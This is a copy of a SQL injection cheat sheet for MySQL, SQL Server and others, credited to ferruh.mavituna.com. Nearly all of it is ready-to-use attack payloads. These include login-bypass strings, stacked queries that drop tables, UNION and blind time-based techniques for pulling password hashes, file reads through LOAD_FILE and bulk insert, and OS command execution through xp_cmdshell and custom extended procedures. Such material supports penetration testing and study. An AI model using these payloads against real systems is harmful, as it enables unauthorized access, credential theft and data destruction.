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• (MS) means : MySQL and SQL Server etc.
• (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

1. About SQL Injection Cheat Sheet
2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
   1. Line Comments
      • SQL Injection Attack Samples
   2. Inline Comments
      • Classical Inline Comment SQL Injection Attack Samples
      • MySQL Version Detection Sample Attacks
   3. Stacking Queries
      • Language / Database Stacked Query Support Table
      • About MySQL and PHP
      • Stacked SQL Injection Attack Samples
   4. If Statements
      • MySQL If Statement
      • SQL Server If Statement
      • If Statement SQL Injection Attack Samples
   5. Using Integers
   6. String Operations
      • String Concatenation
   7. Strings without Quotes
      • Hex based SQL Injection Samples
   8. String Modification & Related
   9. Union Injections
      • UNION – Fixing Language Issues
   10. Bypassing Login Screens
   11. Enabling xp_cmdshell in SQL Server 2005
   12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

• -- (SM)
  DROP sampletable;--
• # (M)
  DROP sampletable;#

• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
  This is going to log you as admin user, because rest of the SQL query will be ignored.

• /*Comment Here*/ (SM)
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
• /*! MYSQL Special SQL */ (M)
  This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
  
  SELECT /*!32302 1/0, */ 1 FROM tablename

• ID: 10; DROP TABLE members /*
  Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

• ID: /*!32302 10*/
• ID: 10
  You will get the same response if MySQL version is higher than 3.23.02
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

• ; (S)
  SELECT * FROM members; DROP members--

• ID: 10;DROP members --
• SELECT * FROM products WHERE id = 10; DROP members--

• IF(condition,true-part,false-part) (M)
  SELECT IF(1=1,'true','false')

• IF condition true-part ELSE false-part (S)
  IF (1=1) SELECT 'true' ELSE SELECT 'false'

• 0xHEXNUMBER (SM)
  You can write hex like these;
  
  SELECT CHAR(0x66) (S)
  SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
  SELECT 0x50 + 0x45 (this is integer now!) (M)

• + (S)
  SELECT login + '-' + password FROM members
• || (*MO)
  SELECT login || '-' || password FROM members

• CONCAT(str1, str2, str3, ...) (M)
  Concatenate supplied strings.
  SELECT CONCAT(login, password) FROM members

• 0x457578 (M) - Hex Representation of string
  SELECT 0x457578
  This will be selected as string in MySQL.
  
  In MySQL easy way to generate hex representations of strings use this;
  SELECT CONCAT('0x',HEX('c:\\boot.ini'))
• Using CONCAT() in MySQL
  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
  This will return ‘KLM’.
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
  This will return ‘KLM’.

• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
  This will show the content of c:\boot.ini

• ASCII() (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  
  SELECT ASCII('a')
• CHAR() (SM)
  Convert an integer of ASCII.
  
  SELECT CHAR(64)

• SQL Server (S)
  Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server ********ation.
  
  SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
• MySQL (M)
  Hex() for every possible issue

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
• If you are not getting any more error then it's done.

• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.

• Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

• ' union select sum(columntofind) from users-- (S)
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  
  If you are not getting error it means column is numeric.
• Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  No Error – First column is an integer.
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
  Error! – Second column is not an integer.
• 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
  No Error – Second column is a string.
• 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
  Error! – Third column is not an integer. ...
  
  Microsoft OLE DB Provider for SQL Server error '80040e07'
  Explicit conversion from data type int to image is not allowed.

1. 1. Create table foo( line varchar(8000) )
   2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
   3. Drop temp table, and repeat for another file.

• Error Messages
  master..sysmessages
• Linked Servers
  master..sysservers
• Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
  SQL Server 2000: masters..sysxlogins
  SQL Server 2005 : sys.sql_logins

1. Cmd Execute (xp_cmdshell)
   exec master..xp_cmdshell 'dir'
2. Registry Stuff (xp_regread)
   1. xp_regaddmultistring
   2. xp_regdeletekey
   3. xp_regdeletevalue
   4. xp_regenumkeys
   5. xp_regenumvalues
   6. xp_regread
   7. xp_regremovemultistring
   8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters \validcommunities'
3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

• Modify WHERE and use NOT IN or NOT EXIST,
  ... WHERE users NOT IN ('First User', 'Second User')
  SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
• Using Dirty Tricks
  SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
  
  Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

• Are we 'sa' ?
  if (select user) = 'sa' waitfor delay '0:0:10'
• ProductID = 1;waitfor delay '0:0:10'--
• ProductID =1);waitfor delay '0:0:10'--
• ProductID =1';waitfor delay '0:0:10'--
• ProductID =1');waitfor delay '0:0:10'--
• ProductID =1));waitfor delay '0:0:10'--
• ProductID =1'));waitfor delay '0:0:10'--

• Are we root ? woot!
  IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
• Check Table exist in MySQL
  IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

• SELECT pg_sleep(10);
  Sleep 10 seconds.

1. product.asp?id=4 (SMO)
   1. product.asp?id=5-1
   2. product.asp?id=4 OR 1=1
2. product.asp?name=Book
   1. product.asp?name=Bo’%2b’ok
   2. product.asp?name=Bo’ || ’ok (OM)
   3. product.asp?name=Book’ OR ‘x’=’x

• Sub Queries are working only MySQL 4.1+
• Users
  • SELECT User,Password FROM mysql.user;
• SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SH A1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
• SELECT ... INTO DUMPFILE
  • Write query into a new file (can not modify existing files)
• UDF Function
  • create function LockWorkStation returns integer soname 'user32';
  • select LockWorkStation();
  • create function ExitProcess returns integer soname 'kernel32';
  • select exitprocess();
• SELECT USER();
• SELECT password,USER() FROM mysql.user;
• First byte of admin hash
  • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
• Read File
  • query.php?user=1+union+select+load_file(0x63...),1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1
• MySQL Load Data inifile
  • By default it’s not avaliable !
    • create table foo( line blob );
      load data infile 'c:/boot.ini' into table foo;
      select * from foo;
• More Timing in MySQL
• select benchmark( 500000, sha1( 'test' ) );
• query.php?user=1+union+select+benchmark(500000,sha 1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1
• select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
  Enumeration data, Guessed Brute Force
  • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

• MD5()
  MD5 Hashing
• SHA1()
  SHA1 Hashing
• PASSWORD()
• ENCODE()
• COMPRESS()
  Compress data, can be great in large binary reading in Blind SQL Injections.
• ROW_COUNT()
• SCHEMA()
• VERSION()
  Same as @@version

المصدر


http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

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